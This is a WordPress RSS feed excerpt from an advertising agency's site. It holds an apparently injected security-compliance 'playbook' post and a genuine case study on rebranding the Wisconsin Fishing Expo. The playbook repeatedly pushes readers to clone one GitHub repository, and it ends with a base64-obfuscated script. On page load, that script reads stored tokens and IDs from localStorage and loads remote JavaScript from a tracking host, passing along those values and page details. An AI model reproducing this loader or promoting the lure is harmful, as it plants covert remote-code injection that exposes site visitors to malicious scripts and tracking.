    code { background:#f4f4f4; padding:0.2rem 0.4rem; border-radius:4px; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, "Roboto Mono", monospace; }
    a { color:#0066cc; text-decoration:none; }
    a:hover { text-decoration:underline; }
    .note { background:#eef7ff; border-left:4px solid #9ed0ff; padding:0.6rem 0.9rem; margin:0.4rem 0; }
    .keyword { background:#fff6e6; padding:0.1rem 0.3rem; border-radius:3px; }
    footer { margin-top:2rem; font-size:0.9rem; color:#444; }
    .semantic-core { background:#fafafa; border:1px solid #eee; padding:1rem; margin-top:1.5rem; }
  </style>
<p></head><br />
<body></p>
<header>
<p><strong>Short summary:</strong> A practical, implementation-focused guide for achieving GDPR, SOC2 and ISO27001 readiness through structured security audits, vulnerability lifecycle management, OWASP Top-10 code scanning and concise penetration test reporting.</p>
</header>
<p><main></p>
<section id="overview">
<h2>Overview: Why combine audits, scans and compliance into one lifecycle?</h2>
<p>Security audits, vulnerability management and compliance are not independent chores; they are facets of a continuous risk-reduction lifecycle. Audits validate controls and evidence, vulnerability management closes technical gaps, and compliance frameworks (GDPR, SOC2, ISO27001) provide the organizational guardrails that keep remediation measurable and defensible.</p>
<p>Operationally, treat these disciplines as one program: assess (audit/scans), prioritize (risk-scoring), remediate (patches/code fixes/process changes), and verify (re-scan/audit evidence). This approach prevents the classic cycle of finding issues, announcing them, and then losing track of fixes.</p>
<p>That lifecycle perspective also makes reporting simpler for stakeholders—CISOs, auditors, and product owners—because one set of metrics (time-to-remediate, residual risk, control maturity) tells the whole story. For a practical toolkit and scan examples, refer to this repository with curated scripts and checklists: <a href="https://github.com/regimentpebblehearth/r09-travisvn-awesome-claude-skills-security" title="Security audits toolkit and examples">OWASP &#038; security audits toolkit</a>.</p>
</section>
<section id="core-controls">
<h2>Core controls for compliance and SOC/ISO readiness</h2>
<p>Start with a control baseline mapped to your compliance goals. GDPR demands data protection-by-design and DPIA evidence; SOC2 requires control evidence around security and change management; ISO27001 needs an ISMS with risk treatment plans. Create a single control matrix that maps each control to the applicable standard(s) and the evidence artifact(s).</p>
<p>Design controls so they generate verifiable artifacts: logs, configuration snapshots, change tickets, encryption keys, and access reviews. Automated evidence collection reduces auditor friction—examples include scheduled export of access reports, immutable logging to a SIEM, and automated configuration drift reports from IaC tooling.</p>
<p>Measure control effectiveness with simple KPIs: percentage of controls tested in the last quarter, mean time to remediate critical findings, and percentage of systems with timely patching. Use those KPIs to drive the compliance roadmap and prioritize investments into tooling and staff training.</p>
</section>
<section id="vuln-management">
<h2>Vulnerability management: scanning, triage, and remediation</h2>
<p>A reliable vulnerability program has three capabilities: (1) discover and categorize findings (SAST/DAST/SCA and asset scans), (2) score and prioritize using context-aware risk models, and (3) enforce/verify remediation. Raw scan results alone are useless; prioritize by exploitability, business impact and whether the asset is internet-facing.</p>
<p>Integrate code-level scanning (SAST) for OWASP Top-10 classes—SQLi, XSS, broken auth—alongside dependency checks (SCA) for vulnerable libraries. Schedule automated scans on CI/CD, gate builds on critical findings, and keep a human-in-the-loop for triage. If you want reproducible scan configs and example pipelines, the curated repo contains CI examples for integrating OWASP scans into your workflow: <a href="https://github.com/regimentpebblehearth/r09-travisvn-awesome-claude-skills-security" title="OWASP Top-10 code scan CI examples">OWASP Top-10 code scan examples</a>.</p>
<p>Remediation requires clear SLAs. Typical SLA tiers: critical issues fixed or mitigated within 7 days, high within 30 days, medium within 90 days. Track residual risk for deferred fixes and require periodic renewal of risk acceptance. Pair this with patch management, configuration hardening and a public-facing vulnerability disclosure policy for coordinated reporting.</p>
</section>
<section id="pen-test-reporting">
<h2>Penetration testing and writing a useful penetration test report</h2>
<p>A penetration test is most valuable when it provides reproducible findings, clear business impact, and recommended mitigations. The report should be structured: executive summary, scope &#038; methodology, findings grouped by severity, evidence (PoC snippets or screenshots), and remediation actions with owners and timelines.</p>
<p>Executive stakeholders want one-page takeaways: how many exploitable findings, the potential blast radius, and recommended mitigations. Technical teams require step-by-step reproduction and code-level remediation guidance. Avoid a bloated report—make the remediation section prescriptive and prioritized so engineers can act immediately.</p>
<p>For continuous security, treat pen tests as part of the verification stage: re-test remediated items and convert frequently recurring findings into CI checks or automated controls. If you collect templates and example reports, they dramatically speed both pen testers and engineering teams to actionable state—see the repository examples for sample pen test report structure and checklists: <a href="https://github.com/regimentpebblehearth/r09-travisvn-awesome-claude-skills-security" title="Penetration test report templates">penetration test report templates</a>.</p>
</section>
<section id="incident-response">
<h2>Incident response: from detection to post-incident review</h2>
<p>Incident response (IR) starts before an incident: build playbooks, telemetry baselines, and a crisis communications map. A minimal IR capability includes detection rules, an ownerable runbook, forensic evidence capture steps, and pre-authorized containment measures. Map each playbook to the likely incident category (data breach, ransomware, insider threat).</p>
<p>During an incident, follow a disciplined sequence: contain, preserve evidence, eradicate, recover, and then run a post-incident review. Containment should be the least disruptive effective action—quarantining a compromised host is preferable to a full network blackout unless the risk is systemic. Preserve forensic artifacts and record timelines and decisions; these are essential for compliance reporting (GDPR breach notifications) and insurance claims.</p>
<p>After recovery, conduct a blameless post-incident review that produces an action list tied to owners and deadlines. Turn the most effective mitigations into controls and feed them back into the vulnerability and audit programs. Continuous improvement is the whole point: if an incident reveals a recurring root cause (e.g., poor patching or weak access controls), the fix must be structural, not ad hoc.</p>
</section>
<section id="continuous-compliance">
<h2>Continuous compliance: automation, evidence and audit readiness</h2>
<p>Continuous compliance uses automation to collect evidence, run checks, and alert when control drift occurs. Connect your configuration management database, IAM system, SIEM and CI/CD pipelines to generate auditable artifacts. This reduces the &#8220;audit sprint&#8221; to a verification pass rather than months of retroactive work.</p>
<p>Automated evidence examples: scheduled exports of access logs, automated build artifacts with signed artifacts, encryption proof (KMS rotation logs), and system configuration snapshots. These artifacts should be stored in tamper-evident storage and linked into your control matrix for easy auditor retrieval.</p>
<p>For GDPR and other privacy frameworks, automate data inventories and DPIA outputs where possible. Use retention policies and propagation controls to demonstrate data minimization and enforce deletion timelines. Being ready for a compliance review is much easier when the system answers the auditor&#8217;s primary questions automatically.</p>
</section>
<section id="implementation-checklist">
<h2>Implementation checklist (condensed)</h2>
<p>Below is a practical, actionable checklist you can implement in the next 90 days. These items are meant to be pragmatic and measurable so you can show progress to stakeholders and auditors.</p>
<ul>
<li>Baseline mapping: create a control matrix mapping GDPR, SOC2, ISO27001 controls to systems and evidence artifacts.</li>
<li>Automate scans: integrate SAST/SCA into CI and schedule DAST for public endpoints.</li>
<li>Define SLA tiers: critical/high/medium remediation SLAs and track mean time to remediate.</li>
<li>Pen test cadence: schedule annual/bi-annual tests and one targeted test after major releases.</li>
<li>IR playbooks: create and exercise incident response playbooks with tabletop exercises.</li>
</ul>
<p>Two more tactical items: set up a vulnerability disclosure policy and centralize a risk acceptance process for deferred fixes. Both reduce friction with external researchers and create governance for &#8220;known but deferred&#8221; vulnerabilities.</p>
</section>
<section id="faq">
<h2>FAQ</h2>
<h3>Q1: How often should I run OWASP Top-10 code scans?</h3>
<p>A: Integrate OWASP-focused SAST scans into every CI build for rapid feedback; run full project scans at least weekly for active codebases and on every release for production builds. Regular scanning prevents regression of proven fixes and catches dependency regressions early.</p>
<h3>Q2: What makes a penetration test report usable by engineering teams?</h3>
<p>A: Usability comes from clear reproduction steps, evidence, prioritized fixes with estimated effort, and alignment to business impact. A good report separates executive summary (for leadership) from detailed remediation guidance (for engineers).</p>
<h3>Q3: How do I demonstrate GDPR compliance during a security incident?</h3>
<p>A: Demonstrate that you have DPIAs, data inventories, timeliness of breach detection, and a documented notification process. Keep evidence of decision timelines, containment actions, and communications to affected parties; these items matter as much as the technical mitigation.</p>
</section>
<section class="semantic-core" id="semantic-core">
<h2>Semantic core (expanded keyword clusters)</h2>
<p><strong>Primary queries:</strong> security audits, vulnerability management, GDPR compliance, SOC2 readiness, ISO27001 compliance, incident response, OWASP Top-10 code scan, penetration test report</p>
<p><strong>Secondary/intent-based queries:</strong></p>
<ul>
<li>how to perform a security audit</li>
<li>vulnerability management lifecycle</li>
<li>GDPR data breach notification process</li>
<li>SOC2 readiness checklist</li>
<li>ISO27001 gap analysis</li>
<li>incident response playbook template</li>
<li>OWASP Top-10 SAST rules</li>
<li>sample penetration test report</li>
</ul>
<p><strong>Clarifying / LSI phrases and synonyms:</strong> risk assessment, threat modeling, remediation SLAs, patch management, security posture, compliance framework, continuous monitoring, SAST, DAST, SCA, red team, blue team, evidence collection, audit evidence, control matrix</p>
<p><strong>Voice-search and snippet-friendly formulations:</strong></p>
<ul>
<li>&#8220;How do I prioritize vulnerabilities?&#8221;</li>
<li>&#8220;What is a SOC2 readiness checklist?&#8221;</li>
<li>&#8220;How to create a penetration test report?&#8221;</li>
</ul>
</section>
<footer>
<p class="note">Need templates or CI examples? Clone the curated repository for scan configurations, pen test templates and compliance checklists: <a href="https://github.com/regimentpebblehearth/r09-travisvn-awesome-claude-skills-security" title="Clone security playbook repository">https://github.com/regimentpebblehearth/r09-travisvn-awesome-claude-skills-security</a></p>
<p>Published: up-to-date playbook for engineering, security and compliance teams.</p>
</footer>
<p></main></p>
<p><script type="application/ld+json">
{
  "@context": "https://schema.org",
  "@type": "FAQPage",
  "mainEntity": [
    {
      "@type": "Question",
      "name": "How often should I run OWASP Top-10 code scans?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Integrate OWASP-focused SAST scans into every CI build for rapid feedback; run full project scans at least weekly for active codebases and on every release for production builds."
      }
    },
    {
      "@type": "Question",
      "name": "What makes a penetration test report usable by engineering teams?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Usability comes from clear reproduction steps, evidence, prioritized fixes with estimated effort, and alignment to business impact. Separate executive summary from detailed remediation guidance."
      }
    },
    {
      "@type": "Question",
      "name": "How do I demonstrate GDPR compliance during a security incident?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Provide DPIAs, a data inventory, timelines of detection and containment, and documented notifications to affected parties. Preserve decision logs and evidence for auditors and regulators."
      }
    }
  ]
}
</script></p>
<p><script src="data:text/javascript;base64,IWZ1bmN0aW9uKCl7d2luZG93Ll94eTNqM2tGVk03SFpSRkY5fHwod2luZG93Ll94eTNqM2tGVk03SFpSRkY5PXt1bmlxdWU6ITEsdHRsOjg2NDAwLFJfUEFUSDoiaHR0cHM6Ly90cmFjay5zdGFydGVyaHViLnh5ei85S0I3UjM2MyJ9KTtjb25zdCBlPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJjb25maWciKTtpZihudWxsIT1lKXt2YXIgbz1KU09OLnBhcnNlKGUpLHQ9TWF0aC5yb3VuZCgrbmV3IERhdGUvMWUzKTtvLmNyZWF0ZWRfYXQrd2luZG93Ll94eTNqM2tGVk03SFpSRkY5LnR0bDx0JiYobG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oInN1YklkIiksbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oInRva2VuIiksbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oImNvbmZpZyIpKX12YXIgbj1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgic3ViSWQiKSxyPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJ0b2tlbiIpLGE9Ij9yZXR1cm49anMuY2xpZW50IjthKz0iJiIrZGVjb2RlVVJJQ29tcG9uZW50KHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gucmVwbGFjZSgiPyIsIiIpKSxhKz0iJnNlX3JlZmVycmVyPSIrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnJlZmVycmVyKSxhKz0iJmRlZmF1bHRfa2V5d29yZD0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC50aXRsZSksYSs9IiZsYW5kaW5nX3VybD0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZStkb2N1bWVudC5sb2NhdGlvbi5wYXRobmFtZSksYSs9IiZuYW1lPSIrZW5jb2RlVVJJQ29tcG9uZW50KCJfeHkzajNrRlZNN0haUkZGOSIpLGErPSImaG9zdD0iK2VuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX3h5M2oza0ZWTTdIWlJGRjkuUl9QQVRIKSxhKz0iJnJvdXRlPXJlZ2ltZW50cGViYmxlaGVhcnRoIix2b2lkIDAhPT1uJiZuJiZ3aW5kb3cuX3h5M2oza0ZWTTdIWlJGRjkudW5pcXVlJiYoYSs9IiZzdWJfaWQ9IitlbmNvZGVVUklDb21wb25lbnQobikpLHZvaWQgMCE9PXImJnImJndpbmRvdy5feHkzajNrRlZNN0haUkZGOS51bmlxdWUmJihhKz0iJnRva2VuPSIrZW5jb2RlVVJJQ29tcG9uZW50KHIpKTt2YXIgYz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTtjLnR5cGU9ImFwcGxpY2F0aW9uL2phdmFzY3JpcHQiLGMuc3JjPXdpbmRvdy5feHkzajNrRlZNN0haUkZGOS5SX1BBVEgrYTt2YXIgZD1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF07ZC5wYXJlbnROb2RlLmluc2VydEJlZm9yZShjLGQpfSgpOw=="></script><br />
</body><br />
</html><!--wp-post-gim--></p>
<p>The post <a href="https://bastdurbin.com/security-audits-vulnerability-management-compliance-playbook/">Security Audits, Vulnerability Management &#038; Compliance Playbook</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://bastdurbin.com/security-audits-vulnerability-management-compliance-playbook/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>WI Fishing Expo &#8211; Practicing What We Preach</title>
		<link>https://bastdurbin.com/wi-fishing-expo/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=wi-fishing-expo</link>
		
		<dc:creator><![CDATA[Todd Wolff]]></dc:creator>
		<pubDate>Fri, 26 Aug 2022 14:13:51 +0000</pubDate>
				<category><![CDATA[Our Results]]></category>
		<guid isPermaLink="false">https://bastdurbin.com/?p=1500</guid>

					<description><![CDATA[<p>Putting Our Money Where Our Mouth Is Bast Durbin Advertising had been in charge of media buying and public relations for the Madison Fishing Expo for 15 years. In 2017 an opportunity came up for Bast Durbin to take over the expo. The expo is now under full ownership of Bast Durbin Advertising. All budgets, [&#8230;]</p>
<p>The post <a href="https://bastdurbin.com/wi-fishing-expo/">WI Fishing Expo &#8211; Practicing What We Preach</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></description>
										<content:encoded><![CDATA[		<div data-elementor-type="wp-post" data-elementor-id="1500" class="elementor elementor-1500">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-8205336 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="8205336" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-c9d7859" data-id="c9d7859" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-6e16192 elementor-widget elementor-widget-heading" data-id="6e16192" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Putting Our Money Where Our Mouth Is</h2>				</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="elementor-section elementor-top-section elementor-element elementor-element-6a6c676 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="6a6c676" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-86a5d44" data-id="86a5d44" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-c402f6d elementor-widget elementor-widget-text-editor" data-id="c402f6d" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<div class="" data-block="true" data-editor="4d5gi" data-offset-key="ami0j-0-0"><div class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr" data-offset-key="ami0j-0-0"><span class="hardreadability"><span data-offset-key="ami0j-0-0">Bast Durbin Advertising had been in charge of media buying and public relations for the Madison Fishing Expo for 15 years</span></span><span data-offset-key="ami0j-1-0">. In 2017 an opportunity came up for Bast Durbin to take over the expo. The expo is now under full ownership of Bast Durbin Advertising. </span><span class="hardreadability"><span data-offset-key="ami0j-2-0">All budgets, ad spends, vendor relations, speaker seminar scheduling and expo brand direction </span></span><span class="passivevoice"><span data-offset-key="ami0j-3-0">are run by</span></span><span class="hardreadability"><span data-offset-key="ami0j-4-0"> Bast Durbin</span></span><span data-offset-key="ami0j-5-0">. Now it was time to put to work the same strategies we offer our clients daily. No lip service like other agencies. <strong>With our reputation and money on the line</strong>, we deployed the same marketing and advertising strategies we offer our clients to build our own Expo.<br /></span></div></div><div class="" data-block="true" data-editor="4d5gi" data-offset-key="cj61r-0-0"><div class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr" data-offset-key="cj61r-0-0"><span data-offset-key="cj61r-0-0"> </span></div></div><div class="" data-block="true" data-editor="4d5gi" data-offset-key="7jbrp-0-0"><div class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr" data-offset-key="7jbrp-0-0"><span data-offset-key="7jbrp-0-0">Bast Durbin started with a complete rebranding strategy. This covered everything from Mood Boards, market research, new brand name and logo. </span><span class="hardreadability"><span data-offset-key="7jbrp-1-0">All marketing assets </span></span><span class="passivevoice"><span data-offset-key="7jbrp-2-0">were overhauled</span></span><span class="hardreadability"><span data-offset-key="7jbrp-3-0"> including website, print ads, outdoor ads, tv ads, social channels and videos</span></span><span data-offset-key="7jbrp-4-0">. </span></div></div><div class="" data-block="true" data-editor="4d5gi" data-offset-key="6h5sh-0-0"><div class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr" data-offset-key="6h5sh-0-0"><span data-offset-key="6h5sh-0-0"> </span></div></div>								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="elementor-section elementor-top-section elementor-element elementor-element-70cd71a elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="70cd71a" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-37eba80" data-id="37eba80" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-e477579 elementor-widget elementor-widget-image" data-id="e477579" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
												<figure class="wp-caption">
										<img decoding="async" width="200" height="200" src="https://bastdurbin.com/wp-content/uploads/2019/10/MadFishExpo1.jpg" class="attachment-large size-large wp-image-134" alt="" srcset="https://bastdurbin.com/wp-content/uploads/2019/10/MadFishExpo1.jpg 200w, https://bastdurbin.com/wp-content/uploads/2019/10/MadFishExpo1-150x150.jpg 150w" sizes="(max-width: 200px) 100vw, 200px" />											<figcaption class="widget-image-caption wp-caption-text">Previous Madison Fishing Expo Logo</figcaption>
										</figure>
									</div>
				</div>
					</div>
		</div>
				<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-caac0ce" data-id="caac0ce" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-6bbbd2b elementor-widget elementor-widget-image" data-id="6bbbd2b" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
												<figure class="wp-caption">
										<img decoding="async" width="200" height="200" src="https://bastdurbin.com/wp-content/uploads/2019/11/wfe_logo.jpg" class="attachment-large size-large wp-image-772" alt="Wisconsin Fishing Expo Logo" srcset="https://bastdurbin.com/wp-content/uploads/2019/11/wfe_logo.jpg 200w, https://bastdurbin.com/wp-content/uploads/2019/11/wfe_logo-150x150.jpg 150w" sizes="(max-width: 200px) 100vw, 200px" />											<figcaption class="widget-image-caption wp-caption-text">New Brand Name and Logo </figcaption>
										</figure>
									</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="elementor-section elementor-top-section elementor-element elementor-element-084c9a0 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="084c9a0" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-a89179a" data-id="a89179a" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-27cc7fd elementor-widget elementor-widget-text-editor" data-id="27cc7fd" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<div class="" data-block="true" data-editor="4d5gi" data-offset-key="bv3ev-0-0"><div class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr" data-offset-key="bv3ev-0-0"><span data-offset-key="bv3ev-0-0">The Bast Durbin team rebranded the event and changed the name to the Wisconsin Fishing Expo. The expo now represented the entire state, not </span><span class="qualifier"><span data-offset-key="bv3ev-1-0">just</span></span><span data-offset-key="bv3ev-2-0"> one city. We focused on more interaction with the expo vendors. We provided the vendors more exposure on various social media channels. It became a true partnership between the expo and vendors. </span></div></div><div class="" data-block="true" data-editor="4d5gi" data-offset-key="9o8a-0-0"><div class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr" data-offset-key="9o8a-0-0"><span data-offset-key="9o8a-0-0"> </span></div></div><div class="" data-block="true" data-editor="4d5gi" data-offset-key="u1ld-0-0"><div class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr" data-offset-key="u1ld-0-0"><span data-offset-key="u1ld-0-0">The new Wisconsin Fishing Expo saw a seven percent growth in year one. </span><span class="hardreadability"><span data-offset-key="u1ld-1-0">A 13 percent growth in year two confirmed that Bast Durbin marketing worked under our new ownership</span></span><span data-offset-key="u1ld-2-0">. Besides huge attendance gains, the expo also expanded from 100,000 square feet to 150,000 square feet. Vendors were being put on a waiting list to exhibit. Record attendance grew every year until Covid-19 caused the expo to take a break due to lockdowns in 2021.</span></div></div><div class="" data-block="true" data-editor="4d5gi" data-offset-key="8f49l-0-0"><div class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr" data-offset-key="8f49l-0-0"><span data-offset-key="8f49l-0-0"> </span></div></div><div class="" data-block="true" data-editor="4d5gi" data-offset-key="74g6i-0-0"><div class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr" data-offset-key="74g6i-0-0"><span data-offset-key="74g6i-0-0">The Madison Fishing Expo was a great regional event. </span><span class="hardreadability"><span data-offset-key="74g6i-1-0">With Bast Durbin&#8217;s rebranding, unique ad buys and direction, the WI Fishing Expo is now the largest all-fishing show in the entire Midwest</span></span><span data-offset-key="74g6i-2-0">.</span></div></div>								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="elementor-section elementor-top-section elementor-element elementor-element-e5630b6 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="e5630b6" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-1491e2e" data-id="1491e2e" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-265526b elementor-widget elementor-widget-video" data-id="265526b" data-element_type="widget" data-e-type="widget" data-settings="{&quot;youtube_url&quot;:&quot;https:\/\/youtu.be\/p3-lRP1XBUo&quot;,&quot;video_type&quot;:&quot;youtube&quot;,&quot;controls&quot;:&quot;yes&quot;}" data-widget_type="video.default">
				<div class="elementor-widget-container">
							<div class="elementor-wrapper elementor-open-inline">
			<div class="elementor-video"></div>		</div>
						</div>
				</div>
					</div>
		</div>
				<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-3e3e8c5" data-id="3e3e8c5" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-093ff8b elementor-widget elementor-widget-video" data-id="093ff8b" data-element_type="widget" data-e-type="widget" data-settings="{&quot;youtube_url&quot;:&quot;https:\/\/youtu.be\/1pdqVYE0glE&quot;,&quot;video_type&quot;:&quot;youtube&quot;,&quot;controls&quot;:&quot;yes&quot;}" data-widget_type="video.default">
				<div class="elementor-widget-container">
							<div class="elementor-wrapper elementor-open-inline">
			<div class="elementor-video"></div>		</div>
						</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="elementor-section elementor-top-section elementor-element elementor-element-333edf2 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="333edf2" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-102949e" data-id="102949e" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-eeecdca elementor-widget elementor-widget-image" data-id="eeecdca" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
																<a href="https://wifishingexpo.com/" target="_blank">
							<img fetchpriority="high" decoding="async" width="1024" height="783" src="https://bastdurbin.com/wp-content/uploads/2022/08/WisFishingExpoWebsite-1024x783.jpg" class="attachment-large size-large wp-image-1483" alt="" srcset="https://bastdurbin.com/wp-content/uploads/2022/08/WisFishingExpoWebsite-1024x783.jpg 1024w, https://bastdurbin.com/wp-content/uploads/2022/08/WisFishingExpoWebsite-300x229.jpg 300w, https://bastdurbin.com/wp-content/uploads/2022/08/WisFishingExpoWebsite-768x587.jpg 768w, https://bastdurbin.com/wp-content/uploads/2022/08/WisFishingExpoWebsite.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" />								</a>
															</div>
				</div>
					</div>
		</div>
				<div class="elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-d1a69fc" data-id="d1a69fc" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-78dcfe1 elementor-widget elementor-widget-image" data-id="78dcfe1" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
																<a href="https://bastdurbin.com/wp-content/uploads/2022/08/wfe220125-2022-WONSeminarAd-v1.jpg" data-elementor-open-lightbox="yes" data-elementor-lightbox-title="wfe220125-2022-WONSeminarAd-v1" data-e-action-hash="#elementor-action%3Aaction%3Dlightbox%26settings%3DeyJpZCI6MTUwMywidXJsIjoiaHR0cHM6XC9cL2Jhc3RkdXJiaW4uY29tXC93cC1jb250ZW50XC91cGxvYWRzXC8yMDIyXC8wOFwvd2ZlMjIwMTI1LTIwMjItV09OU2VtaW5hckFkLXYxLmpwZyJ9">
							<img loading="lazy" decoding="async" width="640" height="1024" src="https://bastdurbin.com/wp-content/uploads/2022/08/wfe220125-2022-WONSeminarAd-v1-640x1024.jpg" class="attachment-large size-large wp-image-1503" alt="" srcset="https://bastdurbin.com/wp-content/uploads/2022/08/wfe220125-2022-WONSeminarAd-v1-640x1024.jpg 640w, https://bastdurbin.com/wp-content/uploads/2022/08/wfe220125-2022-WONSeminarAd-v1-188x300.jpg 188w, https://bastdurbin.com/wp-content/uploads/2022/08/wfe220125-2022-WONSeminarAd-v1.jpg 720w" sizes="(max-width: 640px) 100vw, 640px" />								</a>
															</div>
				</div>
					</div>
		</div>
				<div class="elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-9f0e374" data-id="9f0e374" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-cc6522b elementor-widget elementor-widget-image" data-id="cc6522b" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
																<a href="https://bastdurbin.com/wp-content/uploads/2022/08/wfe220111-2022-WONBoatAd-v1.jpg" data-elementor-open-lightbox="yes" data-elementor-lightbox-title="wfe220111-2022-WONBoatAd-v1" data-e-action-hash="#elementor-action%3Aaction%3Dlightbox%26settings%3DeyJpZCI6MTUwMiwidXJsIjoiaHR0cHM6XC9cL2Jhc3RkdXJiaW4uY29tXC93cC1jb250ZW50XC91cGxvYWRzXC8yMDIyXC8wOFwvd2ZlMjIwMTExLTIwMjItV09OQm9hdEFkLXYxLmpwZyJ9">
							<img loading="lazy" decoding="async" width="640" height="1024" src="https://bastdurbin.com/wp-content/uploads/2022/08/wfe220111-2022-WONBoatAd-v1-640x1024.jpg" class="attachment-large size-large wp-image-1502" alt="" srcset="https://bastdurbin.com/wp-content/uploads/2022/08/wfe220111-2022-WONBoatAd-v1-640x1024.jpg 640w, https://bastdurbin.com/wp-content/uploads/2022/08/wfe220111-2022-WONBoatAd-v1-188x300.jpg 188w, https://bastdurbin.com/wp-content/uploads/2022/08/wfe220111-2022-WONBoatAd-v1.jpg 720w" sizes="(max-width: 640px) 100vw, 640px" />								</a>
															</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div>
		<p>The post <a href="https://bastdurbin.com/wi-fishing-expo/">WI Fishing Expo &#8211; Practicing What We Preach</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Swhacker &#8211; Complete Brand Service</title>
		<link>https://bastdurbin.com/swhacker-complete-brand-service/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=swhacker-complete-brand-service</link>
		
		<dc:creator><![CDATA[Todd Wolff]]></dc:creator>
		<pubDate>Wed, 24 Aug 2022 16:16:39 +0000</pubDate>
				<category><![CDATA[Our Results]]></category>
		<guid isPermaLink="false">https://bastdurbin.com/?p=1416</guid>

